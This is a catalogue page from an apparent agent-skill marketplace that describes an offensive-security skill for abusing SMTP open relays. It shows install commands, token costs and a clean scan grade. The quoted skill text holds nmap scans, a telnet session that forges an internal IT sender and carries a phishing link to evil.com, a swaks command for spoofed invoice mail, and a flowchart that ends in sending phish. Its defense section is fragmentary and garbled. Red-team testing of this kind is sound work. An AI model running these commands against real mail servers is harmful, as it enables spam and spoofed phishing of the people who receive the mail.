Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/smtp-open-relay-abuseWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/smtp-open-relay-abuse)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/smtp-open-relay-abuse"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/smtp-open-relay-abuse/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/smtp-open-relay-abuse"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/smtp-open-relay-abuse.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00054 | $0.01064 |
| Opus 5 | $0.00027 | $0.00532 |
| Sonnet 5 | $0.00011 | $0.00213 |
| Haiku 4.5 | $0.00005 | $0.00106 |
Grade A, and why
smtp-open-relay-abuse scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 133 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SMTP Open Relay Abuse
When to Use
- When auditing an organization's network perimeter and discovering exposed SMTP services (port 25, 465, 587).
- To demonstrate how misconfigured mail servers can be leveraged for anonymized spamming or highly effective, internally-spoofed phishing campaigns during a Red Team engagement.
Prerequisites
- Network access to the target subnet (VPN, pivot, or direct connection)
- Nmap and relevant network scanning tools installed
- Understanding of TCP/IP, common protocols, and network segmentation
- Root/admin access on the attack machine for raw socket operations
Workflow
Phase 1: Identifying Open SMTP Ports
# nmap -p 25,465,587 --open -sV IP_ADDRESS
# nmap -p 25 --script smtp-open-relay IP_ADDRESS
Phase 2: Manual Verification via Telnet
# telnet IP_ADDRESS 25
# HELO attacker.local
# MAIL FROM:<[email protected]>
# RCPT TO:<[email protected]>
# DATA
Subject: Critical IT Update
From: [email protected]
To: [email protected]
Please click the following link to secure your account: http://evil.com/login
.
# QUIT
Phase 3: Automated Exploitation using SWAKS
# swaks --to [email protected] --from [email protected] --server IP_ADDRESS --body "Please review the attached document." --header "Subject: Invoice Overdue"
Phase 4: Utilizing Extended SMTP (ESMTP) and Authentication Bypasses
# ```
#### Decision Point 🔀
```mermaid
flowchart TD
A[Connect SMTP ] --> B{Accepts RCPT ]}
B -->|Yes| C[Open Relay ]
B -->|No| D[Check Auth ]
C --> E[Send Phish gently ]
🔵 Blue Team Detection & Defense
- Require Authentication: Network Filtering (Firewalls): Domain Verification (SPF/DKIM/DMARC): Key Concepts | Concept | Description | |---------|-------------|
Output Format
Smtp Open Relay Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 133 lines · 54 tokens per session scan A 23d928203c39
smtp-open-relay-abuse is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 54 tokens to every session and 1,064 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
analyzing-malicious-url-with-urlscan
URLScan.io is a free service for scanning and analyzing suspicious URLs. It captures screenshots, DOM content, HTTP transactions, JavaScript behavior, and network connections of web pages in an isolat.
email-security
DMARC/SPF/DKIM check, email spoofing, SMTP test, and security header analysis.
bgp-hijacking-concepts
Understand the mechanics of Border Gateway Protocol (BGP) Hijacking, where an attacker creatively manipulates Internet routing tables to intercept, monitor, or drop massive volumes of network traffic destined for legitimate Autonomous Systems (AS).
ipv6-dns-takeover-mitm6
Exploit modern Windows environments that prefer IPv6 by using mitm6 to intercept and spoof DHCPv6 and DNS traffic. This skill covers how to poison DNS resolution for the local network, forcing NTLM authentication to a rogue server for credential capture or relay.
analyzing-phishing-email-headers
Email headers contain critical metadata that reveals the true origin, routing path, and authentication status of emails. Analyzing these headers is a foundational skill for identifying phishing attemp.
analyzing-malicious-url-with-urlscan
A guide for investigating suspicious web addresses with URLScan.io, a service that opens a URL in an isolated browser and records its screenshot, page structure, network requests, scripts, and redirects.